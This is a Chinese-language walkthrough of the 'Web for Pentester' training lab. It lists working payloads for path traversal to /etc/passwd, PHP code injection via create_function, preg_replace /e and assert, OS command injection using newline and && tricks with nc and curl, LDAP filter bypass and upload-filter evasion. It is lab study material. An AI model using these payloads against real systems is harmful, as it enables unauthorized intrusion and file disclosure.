web_for_pentester代码解析
这章没写的在前面俩章
file include
通过page参数传入数据,并且使用include()函数将其包含进来
所以payload
page=../../../../../../etc/passwd
第二关
这里通过page传入数据,然后与.php拼接后传递给$file,这里的$file经过正则处理,将%00.*替换为空。
所以用%00过滤掉后面的%00
page=../../../../../../etc/passwd%00
code injection
第一关
构造闭合然后使用系统命令就可以了
name=".system('ls')%3b%23
显示结果
example1.php example2.php example3.php example4.php index.html Hello index.html
虽然显示想要的结果但是有一点小问题后来发现原因比如
<?php
$a = 'hello';
$$a = 'world';
echo "$a ${$a}";
echo "$a $hello";
?>
显示结果为
hello worldhello world
这俩个输出都是hello world
还有一种方式是这样
name=${${phpinfo()}}
第二关
问题在这里,create_function可以执行代码
先介绍下cerate_function函数
官方的例子
<?php
$newfunc = create_function('$a,$b', 'return "ln($a) + ln($b) = " .
log($a * $b);');
echo "New anonymous function:
$newfunc";
echo $newfunc(2, M_E) . "
";
// outputs
// New anonymous
function: lambda_1
// ln(2) +
ln(2.718281828459) = 1.6931471805599
?>
所以这里闭合掉前面的参数,使用后面的参数来构造命令
order=id);}system('uname -a');# (需要用url编码)
第三关
在php正则下 /e修正符使preg_replace()将replacement参数当作PHP代码。因此但满足了在语句的构造中有 /e修正符,此修饰符将导致函数preg_replace执行替换之前将新值作为PHP代码计算。
所以payload
example3.php?new=system("pwd")&pattern=/lamer/e&base=Hello lamer (注意/e)
第四关
基于函数assert,如果使用不正确,此函数将计算接收的值
所以payload
name=hacker'.system("whoami").'
command injection
第一关
通过ip传入参数,然后使用system命令执行
example1.php?ip=127.0.0.1;whoami
第二关
匹配数字,并且从头到尾检查然后使用/m每行检查。使用换行符绕过
example2.php?ip=127.0.0.1%0Aid
第三关
如果ip不正确就会重定向到127.0.0.1
打开终端输入
echo -e "GET /commandexec/example3.php?ip=127.0.0.1%26%26ls HTTP/1.1\r\nHost: 192.168.22.152\r\nConnection: close\r\n" | nc 192.168.22.152 80 (
这个的前提使安装
netcat)
或者使用
curl
http://192.168.22.152/commandexec/example3.php?ip=127.0.0.1\|id
LDAP attacks
LDAP注入是一种用于利用基于web的应用程序的攻击,这些应用程序根据用户输入构造LDAP语句。当应用程序不能正确地过滤用户输入时,可以使用本地代理修改LDAP语句。这可能导致执行任意命令,比如向未授权的查询授予权限,以及修改LDAP树中的内容。SQL注入中可用的高级开发技术也可以类似地应用于LDAP注入。
第一关
代码中使用函数绑定参数,通过null值来绕过
/ldap/example1.php
第二关
这里目标式注入用户名,)(cn=*))%00&password=rtrtrtr
使用当前筛选器的末尾hacker)
保持永真的条件(cn=*)
保留有效的语法并闭合第一个语法 )
删除筛选器末尾的NULL字节 (%00)
利用
name=hacker)(cn=*))%00&password=rtrtrtr
用nmap跑下
nmap -p 389 --script ldap-search 192.168.22.152
file upload
第一关
没做什么过滤条件,直接上传php文件就可以
第二关
过滤也比较简单,检查后缀名是否是php,但是大小写不敏感所以直接使用大小写绕过就可以了
参考博客http://wg135.github.io/blog/2016/03/21/pentestlab-web-for-pentester-command-injection/
http://www.lmxspace.com/2018/05/15/%E4%BB%8Eweb-for-pentest%E7%9C%8Bphp%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1/#0x06-Commands-injection